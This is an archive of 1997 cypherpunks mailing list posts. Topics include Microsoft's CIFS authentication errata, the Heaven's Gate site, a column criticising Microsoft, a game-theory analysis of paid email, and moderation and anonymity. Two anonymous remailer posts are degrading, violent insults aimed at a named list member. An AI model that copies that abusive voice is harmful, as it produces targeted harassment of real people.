Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Wed, 26 Mar 1997 23:21:52 -0800
From: Paul Leach <paulle@microsoft.com>
To: "'cifs@listserv.msn.com'" <cifs@listserv.msn.com>,
    "'WWW-SECURITY@ns2.rutgers.edu'" <WWW-SECURITY@ns2.rutgers.edu>,
    "'NTBUGTRAQ@RC.ON.CA'" <NTBUGTRAQ@rc.on.ca>,
    "'ntsecurity@iss.net'" <ntsecurity@iss.net>
Subject: [NTSEC] CIFS Authentication Protocol Errata

Sharp eyed reviewers have already caught the following errors in
CIFS-Auth (CIFS Authentication Protocol), draft 3.
A new version will be forthcoming shortly.

In paragraph 2 of section 1.1, it should say:
The response is computed by DES encrypting a challenge (a nonce)
selected by the server with three keys derived from the user's password.

In section 1.2,
	[s]<n:m>	be the "n" bytes of s starting at byte "m".
should be clarified to be:
	[s]<n:m>	be the "n" bytes of s starting at byte "m" (the
first byte is numbered 0).

In step 1 of section 1.4,
was:
	Kb = [Ks]<7:8>
	Kc = [Ks]<15:2>, Z(5)
should be:
	Kb = [Ks]<7:7>
	Kc = [Ks]<14:2>, Z(5)

In step 4 of section 1.4
was:
	Kb' = [Ks']<7:8>
	Kc' = [Ks']<14:2>, Z(5)
should be:
	Kb' = [Ks']<7:7>
	Kc' = [Ks']<14:2>, Z(5)
and
	Km' = Ks, R
should be
	Km' = Ks', R

In step 6 of section 1.4,
C:	MS' = [MD5(Km, SN, Msessr, CC, CS)]<8>
should be
C:	MS' = [MD5(Km, SN, Msessr,)]<8>

In step 2 of section 1.5, there is a missing right bracket:
	S->C:	Mrsp, [MD5(Km', SN', Mrsp)<8>
should be:
	S->C:	Mrsp, [MD5(Km', SN', Mrsp)]<8>

> ----------
> From: 	Paul Leach
> Sent: 	Tuesday, March 25, 1997 1:18 PM
> To: 	'cifs@listserv.msn.com'; 'WWW-SECURITY@ns2.rutgers.edu';
> 'NTBUGTRAQ@RC.ON.CA'; 'ntsecurity@iss.net'
> Subject: 	CIFS Authentication Protocol Review
> 
> We are releasing preliminary drafts of the proposed fixes to the
> CIFS/SMB authentication protocols for widespread public review. If
> they pass review, they will be in Service Pack 3 for NT 4.0. 
> 
> The original protocol from which the new version descends was designed
> more than a decade ago; recently, quite a few weaknesses have been
> found in those previous versions. This latest revision is an attempt
> to repair those weaknesses with as small a change to the protocol as
> possible, so that it can be incrementally and rapidly deployed. 
> 
> All three documents are available in .doc, .txt and postscript.
> 
> Information on how to get them is available from:
> ftp://ftp.microsoft.com/developr/drg/cifs/sec.htm
> 
> All followup discussion should be on the CIFS mailing list at
> CIFS@listserv.msn.com.
> 
> Your comments are actively solicited.
> ------------------------------
> Paul J. Leach
> paulle@microsoft.com
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 27 Mar 1997 11:42:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: heavensgate.com?
Message-ID: <v0300780eaf607dc93069@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a copy of the heavensgate.com web pages?

I've found a couple mirrors of Higher Source already.

(If you don't know what I'm talking about, look at
http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)

If you want to send something anonymously, finger -l declan@eff.org for my
PGP public key.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Mar 1997 14:11:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Microsoft ammunition
In-Reply-To: <9703272018.AA19999@banshee.BASISinc.com>
Message-ID: <333AF0A6.6C81@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


>From Infoworld:

March 24, 1997

            Coda dependency may contribute to the fall of the
            great Gates empire

            Last week's column demonstrated that Microsoft is
            unable to respond to the network computer in its
            usual "co-opt the technology" manner -- a fact
            that may signal the turning point in the company's
            history. (Why am I leaving Intel out of this
            prediction, you ask? Because it is in a far more
            flexible position than Microsoft. Its chips can
            run anything. Microsoft needs them to run
            Windows.)

            Add to this NC threat the mounting troubles for
            Microsoft, and it's no wonder there's no joy in
            Redmond tonight.

            Look at the trends. According to International
            Data Corp., Microsoft SQL Server for Windows NT
            has been losing significant market share for two
            years to competing products that run on multiple
            platforms. Microsoft's Wolfpack clustering
            technology is turning out to be a Chihuahuapack.
            (See "Toothless Wolfpack," March 17.) Seemingly
            endless rapid-fire announcements by ISVs to
            support standards such as Java, JDBC, LDAP, IMAP4,
            and CORBA are shoving Microsoft's TAPI, MAPI,
            ISAPI, "SLAP-HAPI," and a host of other
            Microsoft-centric specifications right out of the
            limelight.

            By now you have undoubtedly heard more than you
            want to hear about the fellow in Germany who
            demonstrated that a malicious ActiveX control can
            secretly empty your bank account. Leaks, bugs, and
            hastily cobbled service packs have been drawing
            attention to the immaturity of Windows NT. And,
            most recently, college kids have found more holes
            in Internet Explorer than it takes to fill the
            Albert Hall. (My apologies to those outside the
            Beatles generation who don't get the reference.)

            Meanwhile, Microsoft has crushed or alienated
            practically every potential partner that might
            otherwise have helped it out of its current fix.

            Network hanky panky

            This latest Microsoft Internet Explorer security
            dustup really isn't a bug, it's a feature.
            Internet Explorer was built to make it easy to
            launch a file, whether that file is on your hard
            drive or sitting on a server somewhere in
            Freedonia. Unfortunately, it took someone outside
            Microsoft to realize last August that the file one
            launches from Explorer could be a Word for Windows
            document packing a malevolent macro.

            Then, in the past few weeks, .URL, .LNK, and .ISP
            files were added to the danger list. Then it
            surfaced that Microsoft's Common Internet File
            System opens the door to network hanky panky. This
            is clearly a company that isn't used to thinking
            outside of the universe of the local LAN. The
            Microsoft patches configure Explorer to ask your
            permission before launching a potentially
            dangerous file type (similar to Netscape
            Navigator). OK, but this solution makes it
            virtually impossible for Microsoft or anyone else
            to integrate a browser seamlessly into the Windows
            desktop.

            If seamless, safe desktop access to remote files
            on the Internet is the goal, Microsoft is spinning
            its wheels. There is really only one way to
            provide these features without introducing a local
            security risk. You have to eliminate the
            possibility that anything you run can affect your
            local drives. Better still, get rid of your local
            drives.

            In short, a Java-based browser is a good way to do
            it, but a Java-based network computer is best.
            Which brings us back to the conclusion of last
            week's column.

            But, if you're tired of the repetition, here's a
            reason you should sit through another sermon:
            RandomNoise's Coda. Coda lets you design entire
            Web pages in Java rather than use a mixture of
            HTML content, tags, and Java applets.

            Most pundits seem to be fixated on the fact that
            Coda gives you a way to display fancy fonts that
            HTML can't handle. Our own Bob Metcalfe is the
            only one I know of who addressed the bigger
            picture. (See From the Ether, March 10). He
            pointed out that Coda may lead the way toward
            replacing HTML with Java.

            A Java-based Web page removes the distinction
            between application and data. It presents data
            just as an HTML page would, but every element on
            the screen has the potential to be an interactive
            part of a sophisticated application.

            In other words, the Web page becomes both powerful
            and safe enough to earn the right to be the new
            desktop user interface to the world. But Internet
            Explorer and Windows are nowhere in that equation.

            So is Microsoft in a batting slump, or is this the
            beginning of the end? Personally, I think
            Microsoft can pull out of this one. All it would
            have to do to fully recover is turn Windows NT
            into Unix, drop Distributed Component Object Model
            for CORBA, phase out its Windows-centric protocols
            for platform-independent standards, adopt
            NetWare's Novell Directory Services, kill ActiveX,
            port SQL Server to several different platforms,
            and abandon the idea of integrating Internet
            Explorer into the desktop.

            Well, I'm going to take a nap. Wake me when all
            that happens.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 27 Mar 1997 16:13:20 -0800 (PST)
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <v03007800af60b73611b5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:43 PM -0500 3/27/97, Declan McCullagh wrote:
>Does anyone have a copy of the heavensgate.com web pages?

>If you want to send something anonymously, finger -l declan@eff.org for my
>PGP public key.

Wouldn't just using an anonymous remailer work better? Encrypting a message
to your public key and then mailing it will not preserve sender anonymity.

Doing both would maybe be better, but for casual journalistic
whistleblowing, the remailers are more important than encrypting to the
recipient (unless Declan fears interception at _his_ site).

(Am I missing something?)

--Tim, whose parents live less than two miles from the Departure Zone for
the Hale-Bopp Shuttlecraft

(P.S. Does this mean the San Diego Cypherpunks meetings will be more
lightly attended?)


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 27 Mar 1997 16:50:45 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: heavensgate.com?
In-Reply-To: <v03007800af60b73611b5@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970327164811.18792B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I was typing quickly and carelessly. If you want to send me something
that's anonymous *and* encrypted, that's when my public key would come in
handy.

That invitation still stands, of course, for anyone who wants to pass
along any info on the Heaven's Gate organization.

Anyway, we put a mirror up at:

  http://pathfinder.com/news/breaking/site.html

-Declan


On Thu, 27 Mar 1997, Timothy C. May wrote:

> At 2:43 PM -0500 3/27/97, Declan McCullagh wrote:
> >Does anyone have a copy of the heavensgate.com web pages?
> 
> >If you want to send something anonymously, finger -l declan@eff.org for my
> >PGP public key.
> 
> Wouldn't just using an anonymous remailer work better? Encrypting a message
> to your public key and then mailing it will not preserve sender anonymity.
> 
> Doing both would maybe be better, but for casual journalistic
> whistleblowing, the remailers are more important than encrypting to the
> recipient (unless Declan fears interception at _his_ site).
> 
> (Am I missing something?)
> 
> --Tim, whose parents live less than two miles from the Departure Zone for
> the Hale-Bopp Shuttlecraft
> 
> (P.S. Does this mean the San Diego Cypherpunks meetings will be more
> lightly attended?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Thu, 27 Mar 1997 17:19:36 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: junk mail analysis, part 2
Message-ID: <Pine.SUN.3.96.970327170208.2629A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Last time I gave the equilibrium for the junk mail game.  Now I will look
at a modified game that allows the sender to include an ecash deposit with
his email.  (Note that there is a slight change of notation from the game
tree given last time.) 

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide deposit d
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-d,d)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-d,d-c)  (s,r-c)

Solution

We again apply the method of backward induction.  In the last stage B
accepts if r >= d.  Therefore in the next to last stage, B knows that if
he reads, his expected payoff is P(r<d)*(d-c)  + P(r>=d)*E(r-c|r>=d). 
However, in equilibrium it is not possible that P(r<d) > 0 since A is
always better off by offering a deposit of 0 instead of any deposit
greater than r. Therefore B reads if E(r|r>=d)-c >= d.  Now we come to A's
deposit decision.  A knowns that if he offers any d such that r >= d and
E(r|r>=d)-c >= d, B will read and accept.  A is indifferent between any
such d, so he might as well offer the smallest such d if it exists.  If it
doesn't exist, A offers d=0.  Finally A again always sends regardless of
the parameters, since A can get a payoff of at least 0 by sending, and may
do better if there is a small probability of B making a mistake.

Conclusions

We saw that if there exists a d such that r >= d and E(r|r>=d)-c >= d, A
offers the least such d, and B reads and accepts.  Otherwise A offers d=0,
and B does not read.  Interestingly, if E(r) > c, d=0 satisfies r >= d and
E(r|r>=d)-c >= d, so we reach the same outcome as before.  However, if
E(r) < c, the outcome of the new game represents a Pareto-improvement
since for realistic distributions of (s,r)  it seems likely that for all
sufficiently large r there exist d such that r >= d and E(r|r>=d)-c >= d,
and for these values of r both the sender and the receiver do better than
they did in the previous model.  Let's call the smallest such r t. 
Unfortunately the outcome is still not Pareto-optimal if t > c. 

This conclusion opens the question of whether a better solution exists.
One possibility is the following (called the pre-payment solution).

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide pre-payment p
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-p,p)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-p,p-c)  (s-p,r+p-c)

If there is enough interest, I'll follow up with a comparison between the
pre-payment solution and the deposit solution.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 27 Mar 1997 17:24:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Zero-knowledge interactive proofs
Message-ID: <199703280124.RAA23942@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Maytag, a product of anal birth, appeared with a coathanger 
through his head.

          /_/\/\
          \_\  /
          /_/  \
          \_\/\ \
             \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shiftcontrol@nml.guardian.co.uk (Shift Control)
Date: Fri, 28 Mar 1997 00:50:26 -0800 (PST)
To: shiftcontrol@nml.guardian.co.uk
Subject: Resurrect yourself
Message-ID: <v01530505af60644bead1@[194.205.4.69]>
MIME-Version: 1.0
Content-Type: text/plain


In this week's Easter Fools' Issue of Shift Control:

"Not only did Christ not die on the cross, but his body was never placed in
the tomb at Golgotha. Indeed, by the infamous "third day" Christ had most
likely already rounded the Italian coast and was, for all we know,
exchanging anecdotes with Sardinian crab merchants." - Paul Robinson on the
imminent resurrection of Jesus's freshly discovered remains.

"The post-war baby-boomer generation keeps getting ever more wistful for
its lost youth. Bowie begat Suede; the Beatles and the Small Faces begat
Brit pop; Rod Stewart begat everything in a skirt in the Seventies and
these days his torch is carried by Mark Morrison." - Robin Hunt on the
resurrection of nostalgia.

"Identical lambs are gambolling in the fields. Six-legged featherless
chickens are hatching from their eggs. Piglets ready to offer their organs
for every transplant need are snuffling in the new grass. A herd of calves
trot happily to the slaughterhouse. It's Easter, time of regeneration and
renewal, and all is well with the world." - Bronwen Davies on genetic
manipulation and cloning: resurrection for the Nineties.

"The gods we buried previously now arise as green shoots and come into
their own at the harvest. We drink their blood and eat their flesh when we
pass around the wine, beer, bread and cakes in the glorious evenings of
autumn. For pagans the deities symbolise the fruits of the year -
Christianity, for some reason, chose to reverse this." - Druid Steve Wilson
on resurrection, pagan-style

"There are a number of things I would require of anyone who would be able
to clone me. I would first require that he make two clones instead of one.
Next, I would demand that neither of these cloned boys be circumcised. I
was and although I do not remember the experience I do well remember when I
had my tonsils taken out." - Robert Nicolai on how he should be resurrected
through cloning.

Also this week:

Your chance to win 200 quid in our fiction competition; more memoirs from
Freebee the rock 'n' roll bee; and our latest quiz: how wild are you about
Jesus?

All this and more, waiting and willing at:

http://www.shiftcontrol.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 27 Mar 1997 16:21:29 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Microsoft ammunition
In-Reply-To: <333AF0A6.6C81@sk.sympatico.ca>
Message-ID: <199703280014.SAA01221@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Great news, Toto. 

The wisest people are already avoiding MS products and are using free
software like Linux to its fullest capacity.

Cc-ed to Bill Gates.

igor

Toto wrote:
> 
> >From Infoworld:
> 
> March 24, 1997
> 
>             Coda dependency may contribute to the fall of the
>             great Gates empire
> 
>             Last week's column demonstrated that Microsoft is
>             unable to respond to the network computer in its
>             usual "co-opt the technology" manner -- a fact
>             that may signal the turning point in the company's
>             history. (Why am I leaving Intel out of this
>             prediction, you ask? Because it is in a far more
>             flexible position than Microsoft. Its chips can
>             run anything. Microsoft needs them to run
>             Windows.)
> 
>             Add to this NC threat the mounting troubles for
>             Microsoft, and it's no wonder there's no joy in
>             Redmond tonight.
> 
>             Look at the trends. According to International
>             Data Corp., Microsoft SQL Server for Windows NT
>             has been losing significant market share for two
>             years to competing products that run on multiple
>             platforms. Microsoft's Wolfpack clustering
>             technology is turning out to be a Chihuahuapack.
>             (See "Toothless Wolfpack," March 17.) Seemingly
>             endless rapid-fire announcements by ISVs to
>             support standards such as Java, JDBC, LDAP, IMAP4,
>             and CORBA are shoving Microsoft's TAPI, MAPI,
>             ISAPI, "SLAP-HAPI," and a host of other
>             Microsoft-centric specifications right out of the
>             limelight.
> 
>             By now you have undoubtedly heard more than you
>             want to hear about the fellow in Germany who
>             demonstrated that a malicious ActiveX control can
>             secretly empty your bank account. Leaks, bugs, and
>             hastily cobbled service packs have been drawing
>             attention to the immaturity of Windows NT. And,
>             most recently, college kids have found more holes
>             in Internet Explorer than it takes to fill the
>             Albert Hall. (My apologies to those outside the
>             Beatles generation who don't get the reference.)
> 
>             Meanwhile, Microsoft has crushed or alienated
>             practically every potential partner that might
>             otherwise have helped it out of its current fix.
> 
>             Network hanky panky
> 
>             This latest Microsoft Internet Explorer security
>             dustup really isn't a bug, it's a feature.
>             Internet Explorer was built to make it easy to
>             launch a file, whether that file is on your hard
>             drive or sitting on a server somewhere in
>             Freedonia. Unfortunately, it took someone outside
>             Microsoft to realize last August that the file one
>             launches from Explorer could be a Word for Windows
>             document packing a malevolent macro.
> 
>             Then, in the past few weeks, .URL, .LNK, and .ISP
>             files were added to the danger list. Then it
>             surfaced that Microsoft's Common Internet File
>             System opens the door to network hanky panky. This
>             is clearly a company that isn't used to thinking
>             outside of the universe of the local LAN. The
>             Microsoft patches configure Explorer to ask your
>             permission before launching a potentially
>             dangerous file type (similar to Netscape
>             Navigator). OK, but this solution makes it
>             virtually impossible for Microsoft or anyone else
>             to integrate a browser seamlessly into the Windows
>             desktop.
> 
>             If seamless, safe desktop access to remote files
>             on the Internet is the goal, Microsoft is spinning
>             its wheels. There is really only one way to
>             provide these features without introducing a local
>             security risk. You have to eliminate the
>             possibility that anything you run can affect your
>             local drives. Better still, get rid of your local
>             drives.
> 
>             In short, a Java-based browser is a good way to do
>             it, but a Java-based network computer is best.
>             Which brings us back to the conclusion of last
>             week's column.
> 
>             But, if you're tired of the repetition, here's a
>             reason you should sit through another sermon:
>             RandomNoise's Coda. Coda lets you design entire
>             Web pages in Java rather than use a mixture of
>             HTML content, tags, and Java applets.
> 
>             Most pundits seem to be fixated on the fact that
>             Coda gives you a way to display fancy fonts that
>             HTML can't handle. Our own Bob Metcalfe is the
>             only one I know of who addressed the bigger
>             picture. (See From the Ether, March 10). He
>             pointed out that Coda may lead the way toward
>             replacing HTML with Java.
> 
>             A Java-based Web page removes the distinction
>             between application and data. It presents data
>             just as an HTML page would, but every element on
>             the screen has the potential to be an interactive
>             part of a sophisticated application.
> 
>             In other words, the Web page becomes both powerful
>             and safe enough to earn the right to be the new
>             desktop user interface to the world. But Internet
>             Explorer and Windows are nowhere in that equation.
> 
>             So is Microsoft in a batting slump, or is this the
>             beginning of the end? Personally, I think
>             Microsoft can pull out of this one. All it would
>             have to do to fully recover is turn Windows NT
>             into Unix, drop Distributed Component Object Model
>             for CORBA, phase out its Windows-centric protocols
>             for platform-independent standards, adopt
>             NetWare's Novell Directory Services, kill ActiveX,
>             port SQL Server to several different platforms,
>             and abandon the idea of integrating Internet
>             Explorer into the desktop.
> 
>             Well, I'm going to take a nap. Wake me when all
>             that happens.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Thu, 27 Mar 1997 16:51:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: OPINION: moderation and anonymity
Message-ID: <199703280044.SAA01846@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Jay Denebeim (denebeim@deepthot.cary.nc.us) wrote
* Igor Chudov @ home <ichudov@algebra.com> wrote:
* 
* >3. It is a common misconception to think that since anonymity means no
* >accountability, it will lead to abuses. Even though such an argument may
* >be made in general (it is subject to a significant disagreement), it
* >does not apply in the least to moderated groups. Since moderators are,
* >generally, responsible for the content of the messages that they allow,
* >the final responsibility and control is in their hands. If a certain
* >anonymous posting does not satisfy the newsgroup charter, moderators can
* >always reject it.

I would like to thank Jay for his thorough and thoughtful comments. I 
agree with many of his point, and leave only those that I disagree on.

* You can have both accountability and anonymity.  From a newsgroup
* moderator's perspective it's not necessary to know the account of the
* person, only a way to uniquely identify the individual.  There is
* cryptography available for every machine that can provide these unique
* signatures without requiring a valid from address.

You are correct, there are tools allowing individuals to sign
their articles and verify electronic signatures. My moderation bot
STUMP even has built in support for PGP signature verification.
Some of its features are directly indended to be helpful for anonymous
users who want to not only post to newsgroups, but also maintain their
reputations. As you know, I think that anonymous users can be
great contributors to moderated newsgroups.

I am not sure that this article is the place to go into  a lot of detail
about these features, but I can summarize them for those who are interested.

However, there is a big and sticky question of what identity really is.
For example, I can establish several PGP keys and post anonymously using
all of them in turns.

What would be my identity? And if I use one of the keys to post 
off-topic articles and you "punish" that key not knowing that the 
same physical person uses several others, what's the point of such
"punishment"?

That is not to say that using PGP signatures in moderated groups is
bad: it is great, especially since anonymous users who use PGP to 
sign their articles can be safely put to the preapproved list of 
robomoderator bots. 

The problem is that while we have IDENTIFICATION, there is little
we can to do enforce ACCOUNTABILITY.

* However, the current newsgroups where this issue has been raised are
* all robo-moderated purely for spam elimination.  That means that there
* must be some way to identify posters so they can be mechanically
* blocked if necessary.  Cryptography and/or valid e-mail addresses
* (whether those addresses actually show up in posts or not) are
* necessary for the filtering function to be totally bullet-proof.

I disagree with this point. First of all, forging email messages to
look like they come from non-anonymous addresses is very easy (just telnet
to port 25 and type 3 magic lines). Second, a person can secretly have 
multiple keys.

If someone is determined to bypass a robomoderation bot that does not
require EVERY preapproved poster to positively identify herself, they
will get through. By the way, I believe that most forgeries in moderated
groups are results of personal problems of posters AND moderators, and
moderators need to honestly take care of the underlying problems.

It is very hard if not impossible to deal with determined and
knowledgeable forgers. I would much rather ensure that they get
equal access to the group than try to fight them by technical means.

* Actually, the cryptographic signature posts are the only 100% reliable
* ones, although all newsgroups I'm aware of only accept the forgable
* from: lines currently, the spammers have not figured out how to get

This is 99% correct, but not 100% correct. Newsgroups that are
moderated by STUMP will NOT ACCEPT forged From: lines pointing to
posters who have requested special cryptographic protection. All articles
purporting to be from such persons pass mandatory check of a PGP
signatures.

* past robomodded groups yet, and if they do forge addresses, they are
* breaking the law currently (fraud), so I don't know that this will
* ever become an issue.
* 
* Now, there are some other, even less reliable, methods of
* robo-moderating.  The 'clue test', which requires a password on your
* first post that is listed in a FAQ is one that I think would work
* quite well today.  It does have a problem in that if the spammers ever

Yes. It is an absolutely great method for newsgroup that do not
want to bother themselves with the costs of having a human moderator,
while at the same time eliminating spam and multiposted "flame"
threads.

We now have two bots, one of which is yours, that allow to quickly
set up such automoderated groups.

People who are determined to post off-topic articles to such groups have
very many ways of getting past the robomoderator bot.  That is usually
OK since it is not the regulars who are the problem.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Mar 1997 16:33:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: FCC Internet Paper
Message-ID: <1.5.4.32.19970328002547.0073ea10@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


As summarized below the FCC has issued a long
paper: "Digital Tornado: The Internet and Telecommunications
Policy." To supplement the FCC's PDF and WordPerfect versions
we've converted it to HTML:

   http://jya.com/oppwp29.htm  (270K; 189K images)

-------

From: Robert Cannon <cannon@DC.NET>
Subject:      FCC Releases staff Working Paper on Internet policy
To: CYBERIA-L@LISTSERV.AOL.COM

News Release --  March 27, 1997

DIGITAL TORNADO:
THE INTERNET AND TELECOMMUNICATIONS POLICY

FCC Staff Working Paper on Internet Policy


     The FCC's Office of Plans and Policy (OPP) today released a staff
working paper analyzing the implications of the Internet for the
FCC and telecommunications policy.  OPP Working Paper No. 29,
"Digital Tornado: The Internet and Telecommunications Policy," was
written by Kevin Werbach, Counsel for New Technology
Policy.  OPP periodically issues working papers on emerging areas in
communications; these papers represent individual views and are not an
official statement by the FCC or any FCC commissioner.

     "Digital Tornado" represents the first comprehensive assessment of
the questions the Internet poses for traditional communications policy.
A central theme running through the paper is that the FCC, and other
government agencies, should seek to limit regulation of Internet
services.  In framing his approach, Werbach states: "Because it is not
tied to traditional models or regulatory environments, the Internet
holds the potential to dramatically change the communications
landscape.  The Internet creates new forms of competition, valuable
services for end users, and benefits to the economy.  Government policy
approaches toward the Internet should therefore start from two premises:
avoid unnecessary regulation, and question the applicability of
traditional rules."

     After providing an analytical framework to understand the forces
driving Internet growth, and describing the Internet's development and
architecture, the paper addresses three primary areas:

     CATEGORY DIFFICULTIES
     Policy and legal questions arising from the fact that Internet-
     based services do not fit easily into the existing classifications
     for communications services under federal law or FCC
     regulations.

     PRICING AND USAGE
     Policy questions arising from the economics of Internet
     access, including assertions by local telephone companies that
     current Internet pricing structures result in network
     congestion, and arguments by Internet service providers that
     telephone companies have not upgraded their networks to
     facilitate efficient transport of data services.

     AVAILABILITY OF BANDWIDTH
     Regulatory and technical issues affecting the deployment of
     technologies promising to enable high-speed Internet access to
     the home and to businesses, including the implications for the
     Internet of the FCC's role in promoting universal service.

     The paper is available on the FCC World Wide Web site,
<http://www.fcc.gov/>.  The file is available for online viewing in
PDF (Adobe Acrobat) format at

   http://www.fcc.gov/Bureaus/OPP/working_papers/oppwp29.pdf 

or for downloading in WordPerfect format at

   http://www.fcc.gov/Bureaus/OPP/working_papers/oppwp29.wp

Copies may also be purchased from International Transcription
Services, Inc., 1919 M Street, NW, Room 246, Washington, DC
20554, (202) 857-3800.

  -FCC-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 27 Mar 1997 17:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Microsoft ammunition (fwd)
Message-ID: <199703280137.TAA01470@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 27 Mar 1997 16:11:50 -0600
> From: Toto <toto@sk.sympatico.ca>
> Subject: Microsoft ammunition

>             But, if you're tired of the repetition, here's a
>             reason you should sit through another sermon:
>             RandomNoise's Coda. Coda lets you design entire
>             Web pages in Java rather than use a mixture of
>             HTML content, tags, and Java applets.
> 
>             A Java-based Web page removes the distinction
>             between application and data. It presents data
>             just as an HTML page would, but every element on
>             the screen has the potential to be an interactive
>             part of a sophisticated application.

Mix this with the distributed processing model of Plan 9 and you may just
have tomorrows computer environment.

                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 27 Mar 1997 21:33:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703280443.UAA07280@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May's family tree goes straight 
up. All of his ancestors were siblings, to dumb 
to recognize each other in the dark.

        /\ o-/\  Timothy C[reep] May
       ///\|/\\\
      /   /|\   \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 27 Mar 1997 20:46:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bay Area Anarchist Book Fair, Saturday 3/29
Message-ID: <3.0.1.32.19970327204449.0063e390@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


10am-6pm, S.F. County Fair Building, Golden Gate Park, 
9th Ave at Lincoln Way.  Free.  +1-415-431-8355

Bound Together Books is organizing it, as usual.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 27 Mar 1997 19:40:44 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: OECD: No GAK
In-Reply-To: <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>
Message-ID: <199703272150.VAA18676@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>, on 03/27/97 at
07:02 AM,
   John Young <jya@pipeline.com> said:


> That seeming contradiction, however, did not prevent the
>   Clinton Administration in recent months from waging a
>   vigorous behind-the-scenes effort for its proposal. And
>   hoping to resolve some of the policy conflicts, the
>   Administration is now circulating draft legislation on
>   Capitol Hill which would attempt to control even the
>   domestic use of data-scrambling software and establish a
>   key-escrow system for the United States.


Is this in reference to the various GAK initiatives by the administration
or are they finally pushing for forced restrictions on domestic crypto? Has
anyone seen these drafts?

- -- 
- -----------------------------------------------------------
